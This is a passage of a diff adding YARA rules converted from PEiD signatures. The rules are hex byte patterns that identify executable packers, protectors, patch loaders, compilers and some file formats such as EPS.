+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00496_dUP_2_x_Patcher____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP 2.x Patcher -> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+    condition:
+        $a
+}
+
+rule PEiD_00497_dUP_v2_x_Patcher_____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP v2.x Patcher --> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00498_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75}
+    condition:
+        $a
+}
+
+rule PEiD_00499_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+    condition:
+        $a
+}
+
+rule PEiD_00500_DxPack_1_0_
+{
+    meta:
+        description = "[DxPack 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_00501_DxPack_V0_86____Dxd_
+{
+    meta:
+        description = "[DxPack V0.86 -> Dxd]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00502_DzA_Patcher_1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher 1.3 Loader]"
+        ep_only = "false"
+    strings:
+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_00503_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00504_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00 8D BD A4 74 40 00 E8 72 00 00 00 89 85 84 74 40 00 8D BD F0 73 40 00 57 FF D0 8D BD 99 74 40 00 E8 58 00 00 00 89 85 88 74 40 00 8B 85 78 74 40 00 03 85 70 74 40 00 99 8D 8D 6C 74 40 00 51 52 52 50 52 52 FF 95 80 74 40 00 8D BD C0 74 40 00 8B 0F E3 13 8A 5F 05 8A 01 3A C3 75 FA 8A 57 04 88 11 83 C7 06 EB E9 E8 00 00 00 00 5D 81 ED F5 73 40 00 6A 00 FF 95 88 74 40 00 61 C3 8B D3 0F B7 43 3C 03 D8 8B 5B 78 03 DA 0B FF 74 40 8B 73 20 03 F2 8B 4B 18 53 33 DB AD 03 C2 56 57 87 FE 97 AC 0A C0 75 07 80 3F 00 74 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00505_DzA_Patcher_v1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher v1.3 Loader]"
+        ep_only = "false"
+    strings:
+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 48 20 40 00 E8 C2 00 00 00 E8 C8 FF FF FF BF 40 40 40 00 FF 35 4C 20 40 00 E8 A1 00 00 00 8B 0F 83 F9 00 74 B1 60 6A 00 6A 04 6A 01 51 FF 35 48 20 40 00 E8 75 00 00 00 61 60 BB 5C 20 40 00 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 75 00 00 00 61 A0 5C 20 40 00 8A 5F 05 3A C3 74 14 FF 35 4C 20 40 00 E8 4B 00 00 00 6A 03 E8 4A 00 00 00 EB A2 60 8D 5F 04 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 4B 00 00 00 61 83 C7 06 FF 35 4C 20 40 00 E8 1E 00 00 00 6A 03 E8 1D 00 00 00 E9 72 FF FF FF FF 25 70 30 40 00 FF 25 78}
+    condition:
+        $a
+}
+
+rule PEiD_00506_E_language_
+{
+    meta:
+        description = "[E language]"
+        ep_only = "true"
+    strings:
+        $a = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00507_E_S_O__Eclipse_Operating_System_v_2_08___DOS_Extender_
+{
+    meta:
+        description = "[E.S.O. Eclipse Operating System v.2.08 + DOS Extender]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00508_E2C_by_DoP_
+{
+    meta:
+        description = "[E2C by DoP]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00509_EEXE_Version_1_12_
+{
+    meta:
+        description = "[EEXE Version 1.12]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00510_Elicense_System_V4_0_0_0____ViaTech_Inc_
+{
+    meta:
+        description = "[Elicense System V4.0.0.0 -> ViaTech Inc]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00511_Embed_PE_v1_13____cyclotron_
+{
+    meta:
+        description = "[Embed PE v1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+    condition:
+        $a
+}
+
+rule PEiD_00512_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00513_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+    condition:
+        $a
+}
+
+rule PEiD_00514_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 A3 F5 0B 85 97 7C BA 1D 96 DD 07 F8 FD D2 3A 98 83 CC 46 99 9D DF 6F 89 92 54 46 9F 94 43 CC 41 43 9B 8C 61 B9 D8 6F 96 3B D1 07 32 24 DD 07 05 8E CB 6F A1 07 5C 62 20 E0 DB BA 9D 83 54 46 E6 83 51 7A 2B 94 54 64 8A 83 05 68 D7 5E 2D C6 B7 57 00 B3 E8 3C 71 B8 3C 97 7C 36 19 32 7C 08 2A 06 51 64 73 A3 F1 4E 92 25 CB 80 8D 99 54 46 B0 E1 D3 46 A5 2D 10 68 B6 83 91 46 F2 DF 64 FD D1 BC CA AA 70 E2 AB 39 AE 3B 5A 6F 9B 15 BD 25 98 25 30 4C AD 7D 55 07 A8 A3 AC 0A C1 BD 54 72 BC 83 54 82 A3 97 B1 1A B3 83 54 46 83}
+    condition:
+        $a
+}
+
+rule PEiD_00515_EmbedPE_V1_00_V1_24____cyclotron___Sign_by_fly_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00516_EmbedPE_V1_00_V1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00517_EmbedPE_v1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE v1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00518_EmbedPE_V1_X____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.X -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00519_Encapsulated_Postscript_graphics_file_v2_0_EPSF_1_2_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v2.0 EPSF-1.2]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 32 2E 30 20 45 50 53 46 2D 31 2E 32}
+    condition:
+        $a
+}
+
+rule PEiD_00520_Encapsulated_Postscript_graphics_file_v3_0_EPSF_3_0_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v3.0 EPSF-3.0]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 2E 30}
+    condition:
+        $a
+}
+
+rule PEiD_00521_Encrypted_by__RSCC_286_v1_01_
+{
+    meta:
+        description = "[Encrypted by? RSCC/286 v1.01]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 31 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00522_Encrypted_by__RSCC_286_v1_02_
+{
+    meta:
+        description = "[Encrypted by? RSCC/286 v1.02]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 32 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00523_EncryptPE_1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE 1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79}
+    condition:
+        $a
+}
+
+rule PEiD_00524_EncryptPE_2_2004_8_10___2_2005_3_14____WFS_
+{
+    meta:
+        description = "[EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+    condition:
+        $a
+}
+
+rule PEiD_00525_EncryptPE_V1_2003_3_18_V1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE V1.2003.3.18-V1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00526_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS___Sign_by_fly_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00527_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00528_EncryptPE_V2_2006_1_15____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.1.15 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+    condition:
+        $a
+}
+
+rule PEiD_00529_EncryptPE_V2_2006_7_10____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00530_EncryptPE_V2_2006_7_10_V2_2007_04_11____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10-V2.2007.04.11 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00531_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+    condition:
+        $a
+}
+
+rule PEiD_00532_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35}
+    condition:
+        $a
+}
+
+rule PEiD_00533_Enigma_Protector_1_1X_1_3X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.1X-1.3X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+    condition:
+        $a
+}
+
+rule PEiD_00534_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61}
+    condition:
+        $a
+}
+
+rule PEiD_00535_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00536_ENIGMA_Protector_V1_1____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+    condition:
+        $a
+}
+
+rule PEiD_00537_ENIGMA_Protector_V1_1_CracKed_By__shoooo___fly____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 C5 FA 81}
+    condition:
+        $a
+}
+
+rule PEiD_00538_ENIGMA_Protector_V1_1_V1_2____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1-V1.2 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ED 06 81}
+    condition:
+        $a
+}
+
+rule PEiD_00539_ENIGMA_Protector_V1_X____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.X -> Sukhov Vladimir]"
+        ep_only = "false"
+    strings:
+        $a = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+    condition:
+        $a
+}
+
+rule PEiD_00540_EP_1_0_
+{
+    meta:
+        description = "[EP 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+    condition:
+        $a
+}
+
+rule PEiD_00541_EP_v1_0_
+{
+    meta:
+        description = "[EP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 C0 30 ?? 68 ?? ?? F3 00 C3 AA}
+    condition:
+        $a
+}
+
+rule PEiD_00542_EP_v2_0_
+{
+    meta:
+        description = "[EP v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 60 E9 01 01}
+    condition:
+        $a
+}
+
+rule PEiD_00543_EPW_v1_2_
+{
+    meta:
+        description = "[EPW v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00544_EPW_v1_30_
+{
+    meta:
+        description = "[EPW v1.30]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00545_Erdas_LAN_GIS_Image_graphics_format_
+{
+    meta:
+        description = "[Erdas LAN/GIS Image graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {48 45 41 44 37 34 00 00 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_00546_Escargot_0_1__final_______Meat_
+{
+    meta:
+        description = "[Escargot 0.1 (final) -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50}
+    condition:
+        $a
+}
+
+rule PEiD_00547_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00548_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "false"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+    condition:
+        $a
+}
+
+rule PEiD_00549_Escargot_V0_1______Meat_
+{
+    meta:
+        description = "[Escargot V0.1 -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61}
+    condition:
+        $a
+}
+
+rule PEiD_00550_Exact_Audio_Copy_____UnknownCompiler__
+{
+    meta:
+        description = "[Exact Audio Copy -> (UnknownCompiler)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00551_Exact_Audio_Copy_
+{
+    meta:
+        description = "[Exact Audio Copy]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00552_Excalibur_1_03____forgot_
+{
+    meta:
+        description = "[Excalibur 1.03 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00553_Excalibur_V1_03____forgot___Sign_by_fly_
+{
+    meta:
+        description = "[Excalibur V1.03 -> forgot ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+    condition:
+        $a
+}
+
+rule PEiD_00554_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "false"
+    strings:
